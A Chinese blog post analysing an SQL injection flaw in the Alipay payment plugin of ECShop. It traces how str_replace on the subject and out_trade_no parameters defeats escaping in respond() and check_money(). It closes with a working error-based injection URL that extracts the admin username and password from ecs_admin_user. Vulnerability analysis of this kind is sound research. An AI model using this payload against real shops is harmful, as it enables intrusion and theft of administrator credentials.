ecshop 最新注入0day漏洞分析报告-2013-02-20


Feb 21 2013

ecshop 最新注入0day漏洞分析报告-2013-02-20

首页 » 代码审计 » ecshop 最新注入0day漏洞分析报告-2013-02-20   

漏洞作者:360

漏洞分析:Seay

博客:www.cnseay.com

今天习惯性的到处逛,看看文章。看到了360爆的一个ecshop 支付宝支付插件的注入漏洞,照例的分析下,360的团队还是挺赞的。

由于漏洞源于ecshop的支付宝支付插件,所有利用前提是站点安装此插件,利用不受GPC影响。

漏洞核心代码在\includes\modules\payment\alipay.php 文件 respond()函数,第215行。

 

function respond()     {         if (!empty($_POST))         {             foreach($_POST as $key => $data)             {                 $_GET[$key] = $data;             }         }         $payment  = get_payment($_GET['code']);         $seller_email = rawurldecode($_GET['seller_email']);         $order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']);         $order_sn = trim($order_sn);               
        /* 检查支付的金额是否相符 */         if (!check_money($order_sn, $_GET['total_fee']))         {        /*----省略----*/ 

 

$order_sn变量由str_replace($_GET['subject'], ”, $_GET['out_trade_no']);控制,我们可以通过$_GET['subject']参数来替换掉$_GET['out_trade_no']参数里面的反斜杠\

最终$order_sn被带入check_money()函数。我们跟进看一下

include\lib_payment.php文件中109.

function check_money($log_id, $money) {     $sql = 'SELECT order_amount FROM ' . $GLOBALS['ecs']->table('pay_log') .               " WHERE log_id = '$log_id'";     $amount = $GLOBALS['db']->getOne($sql);     if ($money == $amount)     {     /*----省略----*/ 

此处就是漏洞现场。原来的$order_sn被带入了数据库。

利用测试:

首先我们要通过str_replace来达到我们想要的效果,%00是截断符,即也为NULLNULL值是与0相等的,

测试代码

 

<?php
$a=addslashes($_GET['a']); $b=addslashes($_GET['b']); print_r($a.'<br />'); print_r($b.'<br />'); print_r(str_replace($a,'',$b)); ?> 

效果图:

 

调用respond()函数的文件是respond.php,所以要在respond.php文件利用。

最终利用EXP

http://localhost/ecshop/respond.php?code=alipay&subject=0&out_trade_no=%00′ and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) — By seay

 

如果您喜欢本博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容:

正文部分到此结束

文章标签: ECShop ECShop0day 最新注入0day

版权声明:若无特殊注明,本文皆为( mOon )原创,转载请保留文章出处。

也许喜欢: «刚出去玩了两天。 | str_replace函数绕过GPC的例子»

你肿么看?

你还可以输入 250/250 个字

 微笑 大笑 拽 大哭 亲亲 流汗 喷血 奸笑 囧 不爽 晕 示爱 害羞 吃惊 惊叹 爱你 吓死了 呵呵

评论信息框

这篇文章还没有收到评论,赶紧来抢沙发吧~